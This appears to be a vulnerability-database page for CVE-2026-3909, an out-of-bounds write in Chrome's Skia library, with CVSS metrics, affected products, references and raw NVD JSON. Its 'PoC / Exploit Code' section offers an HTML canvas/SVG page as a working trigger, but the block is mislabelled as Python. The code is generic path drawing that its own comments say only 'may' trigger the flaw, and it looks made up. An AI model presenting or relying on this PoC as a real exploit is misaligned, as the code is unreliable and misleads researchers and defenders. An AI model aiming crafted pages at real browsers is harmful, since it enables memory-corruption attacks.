CVE-2026-3909

Description

Out of bounds write in Skia in Google Chrome prior to 146.0.7680.75 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 146.0.7680.75

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-3909 PoC - Skia Out of Bounds Write in Google Chrome
// This PoC triggers the vulnerability through a crafted HTML page
// Note: This is for educational purposes only

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-3909 PoC</title>
</head>
<body>
    <h1>CVE-2026-3909 Skia OOB Write PoC</h1>
    <canvas id="pocCanvas" width="800" height="600"></canvas>
    
    <script>
        // Trigger Skia vulnerability through Canvas API manipulation
        function triggerVulnerability() {
            const canvas = document.getElementById('pocCanvas');
            const ctx = canvas.getContext('2d');
            
            // Create path with special crafted coordinates
            // that trigger OOB write in Skia
            ctx.beginPath();
            
            // Manipulate gradient parameters
            const gradient = ctx.createLinearGradient(0, 0, 1000, 1000);
            gradient.addColorStop(0, 'red');
            gradient.addColorStop(1, 'blue');
            
            // Crafted path operations that may trigger Skia vulnerability
            for (let i = 0; i < 1000; i++) {
                ctx.moveTo(Math.pow(i, 2), Math.pow(i, 3));
                ctx.lineTo(-Math.pow(i, 4), -Math.pow(i, 5));
            }
            
            ctx.strokeStyle = gradient;
            ctx.lineWidth = 0;
            ctx.stroke();
            
            // Additional manipulation through SVG
            const svg = `<svg xmlns="http://www.w3.org/2000/svg" 
                width="1000" height="1000">
                <path d="M0,0 L99999999,99999999" 
                    stroke="url(#gradient)"/>
            </svg>`;
            
            const img = new Image();
            img.src = 'data:image/svg+xml;base64,' + btoa(svg);
            
            console.log('CVE-2026-3909 PoC executed');
        }
        
        // Execute when page loads
        window.onload = function() {
            setTimeout(triggerVulnerability, 1000);
        };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3909
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3909
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3909/
[4] VulDB https://vuldb.com/cve/CVE-2026-3909
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_13.html
[6] https://issues.chromium.org/issues/491421267
[7] https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-3909

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3909", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:11.170", "lastModified": "2026-03-25T14:05:38.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds write in Skia in Google Chrome prior to 146.0.7680.75 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)"}, {"lang": "es", "value": "Escritura fuera de límites en Skia en Google Chrome anterior a 146.0.7680.75 permitió a un atacante remoto realizar acceso a memoria fuera de límites a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Alta)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-03-13", "cisaActionDue": "2026-03-27", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Google Skia Out-of-Bounds Write Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.80", "matchCriteriaId": "3203F586-1DC8-4200-B4CC-ABD37E51775C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_13.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/491421267", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-3909", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}